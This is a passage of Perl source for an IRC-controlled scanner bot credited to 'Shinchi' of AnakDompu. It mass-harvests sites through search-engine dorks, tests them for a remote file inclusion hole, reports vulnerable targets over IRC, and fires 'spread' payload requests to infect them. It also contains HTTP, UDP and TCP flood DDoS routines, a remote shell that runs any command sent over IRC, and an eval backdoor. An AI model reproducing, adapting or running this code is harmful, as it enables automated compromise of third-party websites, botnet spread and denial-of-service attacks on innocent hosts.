  1322. my $test2="http://".$sito.$bug.$spread."?";
  1323. my $reqz=HTTP::Request->new(GET=>$test2);
  1324. my $ua=LWP::UserAgent->new();
  1325. my $response=$ua->request($reqz);
  1326. my $cinta="http://".$sito.$bug.$perawan."?";
  1327. my $kasih=HTTP::Request->new(GET=>$cinta);
  1328. my $ua=LWP::UserAgent->new();
  1329. my $response=$ua->request($kasih);
  1330. }}
  1331. elsif($re =~ /AnakDompu/)
  1332. {
  1333. my $hs=geths($print); $hosts{$hs}++;
  1334. if($hosts{$hs}=="1"){
  1335. $x=os($test);
  1336. ($type,$space)=split(/\,/,$x);
  1337.   sendraw($IRC_cur_socket, "PRIVMSG $printl :13,6[1HotBot]11,10[1ON] 13,6[1TaRgEt]7,1 $print");
  1338. my $test2="http://".$sito.$bug.$idku."?";
  1339. my $reqz=HTTP::Request->new(GET=>$test2);
  1340. my $ua=LWP::UserAgent->new();
  1341. my $response=$ua->request($reqz);
  1342. }}
  1343. }}}
  1344. exit;
  1345. }}
  1346.  
  1347. ######################################################################
  1348. #################### MAMMA
  1349. ######################################################################
  1350. if ($funcarg =~ /^scan\s+(.*?)\s+(.*)/){
  1351. if (my $pid = fork) {
  1352. waitpid($pid, 0);
  1353. } else {
  1354. if (fork) {
  1355. exit;
  1356. } else {
  1357. my $bug=$1;
  1358. my $dork=$2;
  1359. my $contatore=0;
  1360. my %hosts;
  1361. # Starting The Search Engine
  1362.     my @malist=&mamma($dork);
  1363. push(my @tot, @malist);
  1364. my @puliti=&unici(@tot);
  1365.   sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1Mamma]13,6[1ToTaL]:8,6 ".scalar(@tot)." 11,10[1CleaneD]:8,6 ".scalar(@puliti)." 11,10[1Untuk]13,6[1Dork]4,1 $dork ");
  1366. my $uni=scalar(@puliti);
  1367. foreach my $sito (@puliti)
  1368. {
  1369. $contatore++;
  1370. if ($contatore %100==0){
  1371. }
  1372. if ($contatore==$uni-1){
  1373.   sendraw($IRC_cur_socket, "PRIVMSG $printl :13,6[1Mamma]11,10[1SeLeSaI]13,6[1UnTuK]11,10[1DoRk]13,1 $dork");
  1374. }
  1375. ### Print CMD and TEST CMD###
  1376. my $test="http://".$sito.$bug.$id."?";
  1377. my $print="http://".$sito.$bug.$cmd."?";
  1378. ### End of Print CMD and TEST CMD###
  1379. my $req=HTTP::Request->new(GET=>$test);
  1380. my $ua=LWP::UserAgent->new();
  1381. $ua->timeout(5);
  1382. my $response=$ua->request($req);
  1383. if ($response->is_success) {
  1384. my $re=$response->content;
  1385. if($re =~ /AnakDompu/ && $re =~ /uid=/){
  1386. my $hs=geths($print); $hosts{$hs}++;
  1387. if($hosts{$hs}=="1"){
  1388. $x=os($test);
  1389. ($type,$space)=split(/\,/,$x);
  1390.   sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1Mamma]13,6[1OFF] 11,10[1Uname]10:7 $type 13,6[1TaRgEt]:9,1 $print");
  1391.   sendraw($IRC_cur_socket, "PRIVMSG Shinchi :Uname:6 $type Vuln:10 $print");
  1392. my $test2="http://".$sito.$bug.$spread."?";
  1393. my $reqz=HTTP::Request->new(GET=>$test2);
  1394. my $ua=LWP::UserAgent->new();
  1395. my $response=$ua->request($reqz);
  1396. my $cinta="http://".$sito.$bug.$perawan."?";
  1397. my $kasih=HTTP::Request->new(GET=>$cinta);
  1398. my $ua=LWP::UserAgent->new();
  1399. my $response=$ua->request($kasih);
  1400. }}
  1401. elsif($re =~ /AnakDompu/)
  1402. {
  1403. my $hs=geths($print); $hosts{$hs}++;
  1404. if($hosts{$hs}=="1"){
  1405. $x=os($test);
  1406. ($type,$space)=split(/\,/,$x);
  1407.   sendraw($IRC_cur_socket, "PRIVMSG $printl :13,6[1Mamma]11,10[1ON] 13,6[1TaRgEt]7,1 $print");
  1408. my $test2="http://".$sito.$bug.$idku."?";
  1409. my $reqz=HTTP::Request->new(GET=>$test2);
  1410. my $ua=LWP::UserAgent->new();
  1411. my $response=$ua->request($reqz);
  1412. }}
  1413. }}}
  1414. exit;
  1415. }}
  1416.  
  1417. ######################################################################
  1418. #################### MOZBOT
  1419. ######################################################################
  1420. if ($funcarg =~ /^scan\s+(.*?)\s+(.*)/){
  1421. if (my $pid = fork) {
  1422. waitpid($pid, 0);
  1423. } else {
  1424. if (fork) {
  1425. exit;
  1426. } else {
  1427. my $bug=$1;
  1428. my $dork=$2;
  1429. my $contatore=0;
  1430. my %hosts;
  1431. # Starting The Search Engine
  1432.     my @mozlist=&mozbot($dork);
  1433.     my @mozlista=&mozbota($dork);
  1434.         my @mozlistb=&mozbotb($dork);
  1435. push(my @tot, @mozlist, @mozlista, @mozlistb);
  1436. my @puliti=&unici(@tot);
  1437.   sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1MozBot]13,6[1ToTaL]:8,6 ".scalar(@tot)." 11,10[1CleaneD]:8,6 ".scalar(@puliti)." 11,10[1Untuk]13,6[1Dork]4,1 $dork ");
  1438. my $uni=scalar(@puliti);
  1439. foreach my $sito (@puliti)
  1440. {
  1441. $contatore++;
  1442. if ($contatore %100==0){
  1443. }
  1444. if ($contatore==$uni-1){
  1445.   sendraw($IRC_cur_socket, "PRIVMSG $printl :13,6[1MozBot]11,10[1SeLeSaI]13,6[1UnTuK]11,10[1DoRk]13,1 $dork");
  1446. }
  1447. ### Print CMD and TEST CMD###
  1448. my $test="http://".$sito.$bug.$id."?";
  1449. my $print="http://".$sito.$bug.$cmd."?";
  1450. ### End of Print CMD and TEST CMD###
  1451. my $req=HTTP::Request->new(GET=>$test);
  1452. my $ua=LWP::UserAgent->new();
  1453. $ua->timeout(5);
  1454. my $response=$ua->request($req);
  1455. if ($response->is_success) {
  1456. my $re=$response->content;
  1457. if($re =~ /AnakDompu/ && $re =~ /uid=/){
  1458. my $hs=geths($print); $hosts{$hs}++;
  1459. if($hosts{$hs}=="1"){
  1460. $x=os($test);
  1461. ($type,$space)=split(/\,/,$x);
  1462.   sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1MaZbot]13,6[1OFF] 11,10[1Uname]10:7 $type 13,6[1TaRgEt]:9,1 $print");
  1463.   sendraw($IRC_cur_socket, "PRIVMSG Shinchi :Uname:6 $type Vuln:10 $print");
  1464. my $test2="http://".$sito.$bug.$spread."?";
  1465. my $reqz=HTTP::Request->new(GET=>$test2);
  1466. my $ua=LWP::UserAgent->new();
  1467. my $response=$ua->request($reqz);
  1468. my $cinta="http://".$sito.$bug.$perawan."?";
  1469. my $kasih=HTTP::Request->new(GET=>$cinta);
  1470. my $ua=LWP::UserAgent->new();
  1471. my $response=$ua->request($kasih);
  1472. }}
  1473. elsif($re =~ /AnakDompu/)
  1474. {
  1475. my $hs=geths($print); $hosts{$hs}++;
  1476. if($hosts{$hs}=="1"){
  1477. $x=os($test);
  1478. ($type,$space)=split(/\,/,$x);
  1479.   sendraw($IRC_cur_socket, "PRIVMSG $printl :13,6[1MaZBot]11,10[1ON] 13,6[1TaRgEt]7,1 $print");
  1480. my $test2="http://".$sito.$bug.$idku."?";
  1481. my $reqz=HTTP::Request->new(GET=>$test2);
  1482. my $ua=LWP::UserAgent->new();
  1483. my $response=$ua->request($reqz);
  1484. }}
  1485. }}}
  1486. exit;
  1487. }}
  1488.  
  1489. ######################################################################
  1490. #################### AOL
  1491. ######################################################################
  1492. if ($funcarg =~ /^scan\s+(.*?)\s+(.*)/){
  1493. if (my $pid = fork) {
  1494. waitpid($pid, 0);
  1495. } else {
  1496. if (fork) {
  1497. exit;
  1498. } else {
  1499. my $bug=$1;
  1500. my $dork=$2;
  1501. my $contatore=0;
  1502. my %hosts;
  1503. # Starting The Search Engine
  1504.     my @aollist=&aol($dork);
  1505.     my @aollista=&aola($dork);
  1506.     my @aollistb=&aolb($dork);
  1507.     my @aollistc=&aolc($dork);
  1508. push(my @aolbyp,@aollist, @aollista, @aollistb, @aollistc );
  1509. push(my @tot, @aolbyp);
  1510. my @puliti=&unici(@tot);
  1511.   sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1AOL]13,6[1ToTaL]:8,6 ".scalar(@tot)." 11,10[1CleaneD]:8,6 ".scalar(@puliti)." 11,10[1Untuk]13,6[1Dork]4,1 $dork ");
  1512. my $uni=scalar(@puliti);
  1513. foreach my $sito (@puliti)
  1514. {
  1515. $contatore++;
  1516. if ($contatore %100==0){
  1517. }
  1518. if ($contatore==$uni-1){
  1519.   sendraw($IRC_cur_socket, "PRIVMSG $printl :13,6[1AOL]11,10[1SeLeSaI]13,6[1UnTuK]11,10[1DoRk]13,1 $dork");
  1520. }
  1521. ### Print CMD and TEST CMD###
  1522. my $test="http://".$sito.$bug.$id."?";
  1523. my $print="http://".$sito.$bug.$cmd."?";
  1524. ### End of Print CMD and TEST CMD###
  1525. my $req=HTTP::Request->new(GET=>$test);
  1526. my $ua=LWP::UserAgent->new();
  1527. $ua->timeout(5);
  1528. my $response=$ua->request($req);
  1529. if ($response->is_success) {
  1530. my $re=$response->content;
  1531. if($re =~ /AnakDompu/ && $re =~ /uid=/){
  1532. my $hs=geths($print); $hosts{$hs}++;
  1533. if($hosts{$hs}=="1"){
  1534. $x=os($test);
  1535. ($type,$space)=split(/\,/,$x);
  1536.   sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1AOL]13,6[1OFF] 11,10[1Uname]10:7 $type 13,6[1TaRgEt]:9,1 $print");
  1537.   sendraw($IRC_cur_socket, "PRIVMSG Shinchi :Uname:6 $type Vuln:10 $print");
  1538. my $test2="http://".$sito.$bug.$spread."?";
  1539. my $reqz=HTTP::Request->new(GET=>$test2);
  1540. my $ua=LWP::UserAgent->new();
  1541. my $response=$ua->request($reqz);
  1542. my $cinta="http://".$sito.$bug.$perawan."?";
  1543. my $kasih=HTTP::Request->new(GET=>$cinta);
  1544. my $ua=LWP::UserAgent->new();
  1545. my $response=$ua->request($kasih);
  1546. }}
  1547. elsif($re =~ /AnakDompu/)
  1548. {
  1549. my $hs=geths($print); $hosts{$hs}++;
  1550. if($hosts{$hs}=="1"){
  1551. $x=os($test);
  1552. ($type,$space)=split(/\,/,$x);
  1553.   sendraw($IRC_cur_socket, "PRIVMSG $printl :13,6[1AOL]11,10[1ON] 13,6[1TaRgEt]7,1 $print");
  1554. my $test2="http://".$sito.$bug.$idku."?";
  1555. my $reqz=HTTP::Request->new(GET=>$test2);
  1556. my $ua=LWP::UserAgent->new();
  1557. my $response=$ua->request($reqz);
  1558. }}
  1559. }}}
  1560. exit;
  1561. }}
  1562.  
  1563. ######################################################################
  1564. #################### ASK
  1565. ######################################################################
  1566. if ($funcarg =~ /^scan\s+(.*?)\s+(.*)/){
  1567. if (my $pid = fork) {
  1568. waitpid($pid, 0);
  1569. } else {
  1570. if (fork) {
  1571. exit;
  1572. } else {
  1573. my $bug=$1;
  1574. my $dork=$2;
  1575. my $contatore=0;
  1576. my %hosts;
  1577. # Starting The Search Engine
  1578.     my @asklist=&ask($dork);
  1579.     my @asklista=&aska($dork);
  1580.     my @asklistb=&askb($dork);
  1581. push(my @tot, @asklist, @asklista, @asklistb);
  1582. my @puliti=&unici(@tot);
  1583.   sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1ASK]13,6[1ToTaL]:8,6 ".scalar(@tot)." 11,10[1CleaneD]:8,6 ".scalar(@puliti)." 11,10[1Untuk]13,6[1Dork]4,1 $dork ");
  1584. my $uni=scalar(@puliti);
  1585. foreach my $sito (@puliti)
  1586. {
  1587. $contatore++;
  1588. if ($contatore %100==0){
  1589. }
  1590. if ($contatore==$uni-1){
  1591.   sendraw($IRC_cur_socket, "PRIVMSG $printl :13,6[1ASK]11,10[1SeLeSaI]13,6[1UnTuK]11,10[1DoRk]13,1 $dork");
  1592. }
  1593. ### Print CMD and TEST CMD###
  1594. my $test="http://".$sito.$bug.$id."?";
  1595. my $print="http://".$sito.$bug.$cmd."?";
  1596. ### End of Print CMD and TEST CMD###
  1597. my $req=HTTP::Request->new(GET=>$test);
  1598. my $ua=LWP::UserAgent->new();
  1599. $ua->timeout(5);
  1600. my $response=$ua->request($req);
  1601. if ($response->is_success) {
  1602. my $re=$response->content;
  1603. if($re =~ /AnakDompu/ && $re =~ /uid=/){
  1604. my $hs=geths($print); $hosts{$hs}++;
  1605. if($hosts{$hs}=="1"){
  1606. $x=os($test);
  1607. ($type,$space)=split(/\,/,$x);
  1608.   sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1ASK]13,6[1OFF] 11,10[1Uname]10:7 $type 13,6[1TaRgEt]:9,1 $print");
  1609.   sendraw($IRC_cur_socket, "PRIVMSG Shinchi :Uname:6 $type Vuln:10 $print");
  1610. my $test2="http://".$sito.$bug.$spread."?";
  1611. my $reqz=HTTP::Request->new(GET=>$test2);
  1612. my $ua=LWP::UserAgent->new();
  1613. my $response=$ua->request($reqz);
  1614. my $cinta="http://".$sito.$bug.$perawan."?";
  1615. my $kasih=HTTP::Request->new(GET=>$cinta);
  1616. my $ua=LWP::UserAgent->new();
  1617. my $response=$ua->request($kasih);
  1618. }}
  1619. elsif($re =~ /AnakDompu/)
  1620. {
  1621. my $hs=geths($print); $hosts{$hs}++;
  1622. if($hosts{$hs}=="1"){
  1623. $x=os($test);
  1624. ($type,$space)=split(/\,/,$x);
  1625.   sendraw($IRC_cur_socket, "PRIVMSG $printl :13,6[1ASK]11,10[1ON] 13,6[1TaRgEt]7,1 $print");
  1626. my $test2="http://".$sito.$bug.$idku."?";
  1627. my $reqz=HTTP::Request->new(GET=>$test2);
  1628. my $ua=LWP::UserAgent->new();
  1629. my $response=$ua->request($reqz);
  1630. }}
  1631. }}}
  1632. exit;
  1633. }}
  1634.  
  1635. ######################
  1636. #End of EExPreSiSCANNER#
  1637. ##################################################
  1638. # Ketika Rasa Tak Dapat Di Ungkap Dengan Kata™     #
  1639. #     www.AnakDompu.by.ru            #
  1640. #        Created By Shinchi          #
  1641. #        #AnakDompu          #
  1642. #       irc.dal.net          #
  1643. ##################################################
  1644. ######################
  1645. if ($funcarg =~ /^httpflood\s+(.*)\s+(\d+)/) {
  1646. sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1Http DDoS] 13,6[1HaJaR] 10 ".$1." 11,10[1Pada Port 80 Untuk] 12 ".$2." Detik .");
  1647. my $itime = time;
  1648. my ($cur_time);
  1649. $cur_time = time - $itime;
  1650. while ($2>$cur_time){
  1651. $cur_time = time - $itime;
  1652. my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$1, PeerPort=>80);
  1653. print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n";
  1654. close($socket);
  1655. }
  1656. sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1Http DDoS] 13,6[1HaJaR SeLeSaI] 7 ".$1.".");
  1657. }
  1658. ######################
  1659. #  End of HTTPFlood  #
  1660. ##################################################
  1661. # Ketika Rasa Tak Dapat Di Ungkap Dengan Kata™     #
  1662. #     www.AnakDompu.by.ru            #
  1663. #        Created By Shinchi          #
  1664. #        #AnakDompu          #
  1665. #       irc.dal.net          #
  1666. ##################################################
  1667. #     UDPFlood       #
  1668. ######################
  1669. if ($funcarg =~ /^udpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
  1670. sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1Udp DDoS] 13,6[1HaJaR]12 ".$1." with 12 ".$2." Kb Packets for 12 ".$3." detik.");
  1671. my ($dtime, %pacotes) = udpflooder("$1", "$2", "$3");
  1672. $dtime = 1 if $dtime == 0;
  1673. my %bytes;
  1674. $bytes{igmp} = $2 * $pacotes{igmp};
  1675. $bytes{icmp} = $2 * $pacotes{icmp};
  1676. $bytes{o} = $2 * $pacotes{o};
  1677. $bytes{udp} = $2 * $pacotes{udp};
  1678. $bytes{tcp} = $2 * $pacotes{tcp};
  1679. sendraw($IRC_cur_socket, "PRIVMSG $printl :11,10[1Udp DDoS] 13,6[1HaSiL]12 ".int(($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)." Kb in12 ".$dtime." seconds to12 ".$1.".");
  1680. }
  1681. exit;
  1682. }
  1683. }
  1684. ######################
  1685. #  End of Udpflood   #
  1686. ######################
  1687.  
  1688.  
  1689. sub ircase {
  1690. my ($kem, $printl, $case) = @_;
  1691.   if ($case =~ /^join (.*)/) {
  1692.      j("$1");
  1693.    }
  1694.    if ($case =~ /^part (.*)/) {
  1695.       p("$1");
  1696.    }
  1697. if ($case =~ /^rejoin\s+(.*)/) {
  1698. my $chan = $1;
  1699. if ($chan =~ /^(\d+) (.*)/) {
  1700. for (my $ca = 1; $ca <= $1; $ca++ ) {
  1701. p("$2");
  1702. j("$2");
  1703. }
  1704. }
  1705. else {
  1706. p("$chan");
  1707. j("$chan");
  1708. }
  1709. }
  1710.  
  1711. if ($case =~ /^op/) {
  1712. op("$printl", "$kem") if $case eq "op";
  1713. my $oarg = substr($case, 3);
  1714. op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  1715. }
  1716.  
  1717. if ($case =~ /^deop/) {
  1718. deop("$printl", "$kem") if $case eq "deop";
  1719. my $oarg = substr($case, 5);
  1720. deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  1721. }
  1722.  
  1723. if ($case =~ /^msg\s+(\S+) (.*)/) {
  1724. msg("$1", "$2");
  1725. }
  1726.  
  1727. if ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
  1728. for (my $cf = 1; $cf <= $1; $cf++) {
  1729. msg("$2", "$3");
  1730. }
  1731. }
  1732.  
  1733. if ($case =~ /^ctcp\s+(\S+) (.*)/) {
  1734. ctcp("$1", "$2");
  1735. }
  1736.  
  1737. if ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
  1738. for (my $cf = 1; $cf <= $1; $cf++) {
  1739. ctcp("$2", "$3");
  1740. }
  1741. }
  1742.  
  1743. if ($case =~ /^nick (.*)/) {
  1744. nick("$1");
  1745. }
  1746.  
  1747. if ($case =~ /^connect\s+(\S+)\s+(\S+)/) {
  1748. conectar("$2", "$1", 6667);
  1749. }
  1750.  
  1751. if ($case =~ /^raw (.*)/) {
  1752. sendraw("$1");
  1753. }
  1754.  
  1755. if ($case =~ /^eval (.*)/) {
  1756. eval "$1";
  1757. }
  1758. }
  1759.  
  1760.  
  1761. sub shell {
  1762. my $printl=$_[0];
  1763. my $comando=$_[1];
  1764. if ($comando =~ /cd (.*)/) {
  1765. chdir("$1") || msg("$printl", "No such file or directory");
  1766. return;
  1767. }
  1768.  
  1769. elsif ($pid = fork) {
  1770. waitpid($pid, 0);
  1771. }
  1772. else {
  1773. if (fork) {
  1774. exit;
  1775.  
  1776. } else {
  1777. my @resp=`$comando 2>&1 3>&1`;
  1778. my $c=0;
  1779. foreach my $linha (@resp) {
  1780.   $c++;
  1781.   chop $linha;
  1782.   sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
  1783.   if ($c == "$linas_max") {
  1784.     $c=0;
  1785.     sleep $sleep;
  1786.   }
  1787. }
  1788. exit;
  1789. }
  1790. }
  1791. }
  1792.  
  1793. sub tcpflooder {
  1794. my $itime = time;
  1795. my ($cur_time);
  1796. my ($ia,$pa,$proto,$j,$l,$t);
  1797. $ia=inet_aton($_[0]);
  1798. $pa=sockaddr_in($_[1],$ia);
  1799. $ftime=$_[2];
  1800. $proto=getprotobyname('tcp');
  1801. $j=0;$l=0;
  1802. $cur_time = time - $itime;
  1803. while ($l<1000){
  1804. $cur_time = time - $itime;
  1805. last if $cur_time >= $ftime;
  1806. $t="SOCK$l";
  1807. socket($t,PF_INET,SOCK_STREAM,$proto);
  1808. connect($t,$pa)||$j--;
  1809. $j++;$l++;
  1810. }
  1811. $l=0;
  1812. while ($l<1000){
  1813. $cur_time = time - $itime;
  1814. last if $cur_time >= $ftime;
  1815. $t="SOCK$l";
  1816. shutdown($t,2);
  1817. $l++;
  1818. }
  1819. }
  1820.  
  1821. # %.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%
  1822. # % AnakDompu ExPreSi Scanner Bot  %
  1823. # %.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%
  1824.  
  1825. sub udpflooder {
  1826. my $iaddr = inet_aton($_[0]);
  1827. my $msg = 'A' x $_[1];
  1828. my $ftime = $_[2];
  1829. my $cp = 0;
  1830. my (%pacotes);
  1831. $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;
  1832. socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
  1833. socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
  1834. socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
  1835. socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
  1836. return(undef) if $cp == 4;
  1837. my $itime = time;
  1838. my ($cur_time);
  1839. while ( 1 ) {
  1840. for (my $porta = 1;
  1841. $porta <= 65000; $porta++) {
  1842. $cur_time = time - $itime;
  1843. last if $cur_time >= $ftime;
  1844. send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++;
  1845. send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++;
  1846. send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++;
  1847. send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++;
  1848.  
  1849.  
  1850. for (my $pc = 3;
  1851. $pc <= 255;$pc++) {
  1852. next if $pc == 6;
  1853. $cur_time = time - $itime;
  1854. last if $cur_time >= $ftime;
  1855. socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
  1856. send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++;
  1857. }
  1858. }
  1859. last if $cur_time >= $ftime;
  1860. }
  1861. return($cur_time, %pacotes);
  1862. }
  1863.  
  1864. sub ctcp {
  1865. return unless $#_ == 1;
  1866. sendraw("PRIVMSG $_[0] :\001$_[1]\001");
  1867. }
  1868.  
  1869. sub msg {
  1870. return unless $#_ == 1;
  1871. sendraw("PRIVMSG $_[0] :$_[1]");
  1872. }
  1873.  
  1874. sub notice {
  1875. return unless $#_ == 1;
  1876. sendraw("NOTICE $_[0] :$_[1]");
  1877. }
  1878.  
  1879. sub op {
  1880. return unless $#_ == 1;
  1881. sendraw("MODE $_[0] +o $_[1]");
  1882. }
  1883.  
  1884. sub deop {
  1885. return unless $#_ == 1;
  1886. sendraw("MODE $_[0] -o $_[1]");
  1887. }
  1888.  
  1889. sub j {
  1890. &join(@_);
  1891. }
  1892.  
  1893. sub join {
  1894. return unless $#_ == 0;
  1895. sendraw("JOIN $_[0]");
  1896.  
  1897. }
  1898. sub p { part(@_);
  1899. }
  1900.  
  1901. sub part {
  1902. sendraw("PART $_[0]");
  1903. }
  1904.  
  1905. sub nick {
  1906. return unless $#_ == 0;
  1907. sendraw("NICK $_[0]");
  1908. }
  1909.  
  1910. sub quit {
  1911. sendraw("QUIT :$_[0]");
  1912. }
  1913.  
  1914. #####
  1915. # SUBS GOOGLE
  1916. #####
  1917. sub googlet {
  1918. my @dominios = ("ae","com.ar","at","com.au","be","com.br","ca","ch","cl","de","dk");
  1919. my @country = ("AE","AR","AT","AU","BE","BR","CA","CH","CL","DE","DK");
  1920. my @lang = ("en","es","de","nl","pt-BR","it","de","fo","sv","fr","el");
  1921. my @lst;
  1922. my $key=key($_[0]);
  1923. my $c=0;
  1924. foreach my $i (@dominios){
  1925. my @lista = google($i,$key,$lang[$c],$country[$c]);
  1926. push(@lst,@lista);
  1927. $c++;
  1928. }
  1929. return @lst;
  1930. }
  1931.  
  1932. sub google(){
  1933. my @lst;
  1934. my $i=$_[0];
  1935. my $key=$_[1];
  1936. my $lang= $_[2];
  1937. my $country =$_[3];
  1938. for($b=0;$b<=5000;$b+=100){
  1939. my $Go=("www.google.".$i."/search?hl=".$lang."&q=".key($key)."&num=100&start=".$b."&meta=cr%3Dcountry".$country);
  1940. my $Res=query($Go);
  1941. while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
  1942. if ($1 !~ /google/){
  1943. my $k=$1;
  1944. my @grep=links($k);
  1945. push(@lst,@grep);
  1946. }}}
  1947. return @lst;
  1948. }
  1949.  
  1950. #####
  1951. # SUBS AllTheWeb
  1952. #####
  1953.  
  1954. sub allthewebt {
  1955. my @lang = ("en","es","de","nl","pt-BR","it","de","fo");
  1956. my @lst;
  1957. my $key=key($_[0]);
  1958. my $c=0;
  1959. foreach my $lang (@lang){
  1960. my @lista = alltheweb($key,$lang[$c]);
  1961. push(@lst,@lista);
  1962. $c++;
  1963. }
  1964. return @lst;
  1965. }
  1966.  
  1967.  
  1968. sub alltheweb(){
  1969. my @lista;
  1970. my $key = $_[0];
  1971. my $lang= $_[1];
  1972. for($b=0;$b<=500;$b+=100){
  1973. my $alltheweb=("http://www.alltheweb.com/search?cat=web&_sb_lang=".$lang."&hits=100&q=".key($key)."&o=".$b);
  1974. my $Res=query($alltheweb);
  1975. while($Res =~ m/<span class=\"?resURL\"?>http:\/\/(.+?)\<\/span>/g){
  1976. my $k=$1;
  1977. $k=~s/ //g;
  1978. my @grep=links($k);
  1979. push(@lst,@grep);
  1980. }}
  1981. return @lst;
  1982. }
  1983.  
  1984. sub standard()
  1985. {
  1986. my @lst;
  1987. my $key=$_[0];
  1988. my $i=0;
  1989. my $pg=0;
  1990. for($i=0; $i<=1000; $i+=100)
  1991. {
  1992. my $all=("http://www.alltheweb.com/search?cat=web&_sb_lang=any&hits=100&q=".key($key)."&o=".$i);
  1993. my $Res=query($all);
  1994. while($Res =~ m/<span class=\"?resURL\"?>http:\/\/(.+?)\<\/span>/g){
  1995. my $k=$1;
  1996. $k=~s/ //g;
  1997. my @grep=links($k);
  1998. push(@lst,@grep);
  1999. }}
  2000. return @lst;
  2001. }
  2002.  
  2003. #####
  2004. # SUBS Lycos
  2005. #####
  2006. sub lycos(){
  2007. my @lst;
  2008. my $key = $_[0];
  2009. for($b=0;$b<=1000;$b+=100){
  2010. my $ly=("http://search.lycos.com/?query=".key($key)."&page=$av".$b);
  2011. my $Res=query($ly);
  2012. while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
  2013. if ($1 !~ /msn|live|google|yahoo/){
  2014. my $k=$1;
  2015. my @grep=links($k);
  2016. push(@lst,@grep);
  2017. }}}
  2018. return @lst;
  2019. }
  2020.  
  2021. #####
  2022. # SUBS Yahoo
  2023. #####
  2024. sub yahoo(){
  2025. my @lst;
  2026. my $key = $_[0];
  2027. for($b=1;$b<=1000;$b+=100){
  2028. my $Ya=("http://br.search.yahoo.com/search?ei=UTF-8&fr=cb-globo&fr2=sfp&p=".key($key)."&n=100&fr=sfp&b=".$b);
  2029. my $Res=query($Ya);
  2030. while($Res =~ m/\<span class=yschurl>(.+?)\<\/span>/g){
  2031. my $k=$1;
  2032. $k=~s/<b>//g;
  2033. $k=~s/<\/b>//g;
  2034. $k=~s/<wbr>//g;
  2035. my @grep=links($k);
  2036. push(@lst,@grep);
  2037. }}
  2038. return @lst;
  2039. }
  2040.  
  2041. sub yahooa(){
  2042. my @lst;
  2043. my $key = $_[0];
  2044. for($b=210;$b<=1000;$b+=210){
  2045. my $Ya=("http://be.search.yahoo.com/search?ei=UTF-8&fr=cb-globo&fr2=sfp&p=".key($key)."&n=100&fr=sfp&b=".$b);
  2046. my $Res=query($Ya);
  2047. while($Res =~ m/\<span class=yschurl>(.+?)\<\/span>/g){
  2048. my $k=$1;
  2049. $k=~s/<b>//g;
  2050. $k=~s/<\/b>//g;
  2051. $k=~s/<wbr>//g;
  2052. my @grep=links($k);
  2053. push(@lst,@grep);
  2054. }}
  2055. return @lst;
  2056. }
  2057.  
  2058. sub yahoob(){
  2059. my @lst;
  2060. my $key = $_[0];
  2061. for($b=410;$b<=1000;$b+=210){
  2062. my $Ya=("http://us.search.yahoo.com/search?ei=UTF-8&fr=cb-globo&fr2=sfp&p=".key($key)."&n=100&fr=sfp&b=".$b);
  2063. my $Res=query($Ya);
  2064. while($Res =~ m/\<span class=yschurl>(.+?)\<\/span>/g){
  2065. my $k=$1;
  2066. $k=~s/<b>//g;
  2067. $k=~s/<\/b>//g;
  2068. $k=~s/<wbr>//g;
  2069. my @grep=links($k);
  2070. push(@lst,@grep);
  2071. }}
  2072. return @lst;
  2073. }
  2074.  
  2075. sub yahooc(){
  2076. my @lst;
  2077. my $key = $_[0];
  2078. for($b=610;$b<=1000;$b+=210){
  2079. my $Ya=("http://it.search.yahoo.com/search?ei=UTF-8&fr=cb-globo&fr2=sfp&p=".key($key)."&n=100&fr=sfp&b=".$b);
  2080. my $Res=query($Ya);
  2081. while($Res =~ m/\<span class=yschurl>(.+?)\<\/span>/g){
  2082. my $k=$1;
  2083. $k=~s/<b>//g;
  2084. $k=~s/<\/b>//g;
  2085. $k=~s/<wbr>//g;
  2086. my @grep=links($k);
  2087. push(@lst,@grep);
  2088. }}
  2089. return @lst;
  2090. }
  2091.  
  2092. sub yahood(){
  2093. my @lst;
  2094. my $key = $_[0];
  2095. for($b=810;$b<=1000;$b+=210){
  2096. my $Ya=("http://de.search.yahoo.com/search?ei=UTF-8&fr=cb-globo&fr2=sfp&p=".key($key)."&n=100&fr=sfp&b=".$b);
  2097. my $Res=query($Ya);
  2098. while($Res =~ m/\<span class=yschurl>(.+?)\<\/span>/g){
  2099. my $k=$1;
  2100. $k=~s/<b>//g;
  2101. $k=~s/<\/b>//g;
  2102. $k=~s/<wbr>//g;
  2103. my @grep=links($k);
  2104. push(@lst,@grep);
